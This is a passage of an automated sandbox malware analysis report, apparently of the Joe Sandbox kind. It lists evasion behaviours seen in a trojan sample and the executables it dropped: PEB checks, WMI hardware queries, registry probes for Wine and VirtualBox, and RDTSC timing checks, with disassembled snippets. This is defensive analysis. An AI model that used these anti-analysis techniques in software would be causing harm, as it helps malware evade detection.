Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-9170
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-10523
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_14-12123

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D562D6 second address: D562DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D562DE second address: D562E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D562E3 second address: D562E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D562E9 second address: D562ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D6484F second address: D64855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64855 second address: D6485D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64B36 second address: D64B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64B4B second address: D64B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64B51 second address: D64B7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FC734E5F776h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007FC734E5F781h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC734E5F77Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CB5 second address: D64CBB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CBB second address: D64CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CC1 second address: D64CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CC8 second address: D64CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC734E5F781h 0x0000000f jnc 00007FC734E5F776h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CE9 second address: D64CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64CED second address: D64CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64E39 second address: D64E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734882085h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64E52 second address: D64E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D64E56 second address: D64E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jp 00007FC734882076h 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67781 second address: D677B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+124490C3h], edx 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1CBDh], ebx 0x00000018 push 2C73CFFEh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC734E5F785h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D677B5 second address: D6782D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2C73CF7Eh 0x00000010 mov edi, eax 0x00000012 push 00000003h 0x00000014 adc ecx, 7FD27F96h 0x0000001a push 00000000h 0x0000001c jl 00007FC73488207Ch 0x00000022 sub dword ptr [ebp+122D1C81h], esi 0x00000028 push 00000003h 0x0000002a mov edi, dword ptr [ebp+122D3AB2h] 0x00000030 call 00007FC734882079h 0x00000035 jg 00007FC734882088h 0x0000003b jmp 00007FC734882082h 0x00000040 push eax 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FC734882084h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D6782D second address: D67842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jbe 00007FC734E5F776h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67842 second address: D6787E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FC734882076h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jp 00007FC73488208Ch 0x00000014 jmp 00007FC734882086h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007FC73488207Ch 0x00000025 jng 00007FC734882076h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D6796C second address: D67970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67970 second address: D67A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FC734882076h 0x0000000d jns 00007FC734882076h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jnc 00007FC734882080h 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FC734882078h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a push 00000003h 0x0000003c mov dword ptr [ebp+122D2C80h], esi 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FC734882078h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Bh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov ecx, dword ptr [ebp+122D3BE2h] 0x00000064 push 00000003h 0x00000066 jns 00007FC734882082h 0x0000006c call 00007FC734882079h 0x00000071 jmp 00007FC734882080h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FC73488207Eh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67A2D second address: D67A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67A31 second address: D67A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67A37 second address: D67A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007FC734E5F77Eh 0x00000013 jnc 00007FC734E5F778h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67A69 second address: D67A7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jg 00007FC734882076h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67A7E second address: D67B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC734E5F788h 0x00000008 jmp 00007FC734E5F781h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FC734E5F778h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b lea ebx, dword ptr [ebp+1244C644h] 0x00000031 jmp 00007FC734E5F789h 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 jmp 00007FC734E5F77Dh 0x0000003d jmp 00007FC734E5F77Dh 0x00000042 popad 0x00000043 push eax 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D67BD8 second address: D67BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D57DAD second address: D57DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC734E5F776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D57DB7 second address: D57DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D57DBB second address: D57DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FC734E5F776h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FC734E5F776h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D865C5 second address: D865D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D865D0 second address: D865D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D57D94 second address: D57DA3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC734882076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D57DA3 second address: D57DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8689D second address: D868A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D86F69 second address: D86F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F77Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D86F7F second address: D86F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D86F85 second address: D86F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D870F1 second address: D870FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D870FC second address: D87101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8728D second address: D87298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D87852 second address: D8787F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC734E5F776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FC734E5F77Eh 0x00000013 pushad 0x00000014 popad 0x00000015 jo 00007FC734E5F776h 0x0000001b jmp 00007FC734E5F782h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C234 second address: D8C239 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C3A3 second address: D8C3EA instructions: 0x00000000 rdtsc 0x00000002 js 00007FC734E5F778h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FC734E5F786h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FC734E5F789h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C3EA second address: D8C40C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C40C second address: D8C413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C413 second address: D8C419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8ACD6 second address: D8ACDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8ACDA second address: D8ACE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FC734882076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8ACE8 second address: D8ACEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D8C4EC second address: D8C4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: D92C74 second address: D92C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FC734E5F776h 0x0000000a rdtsc
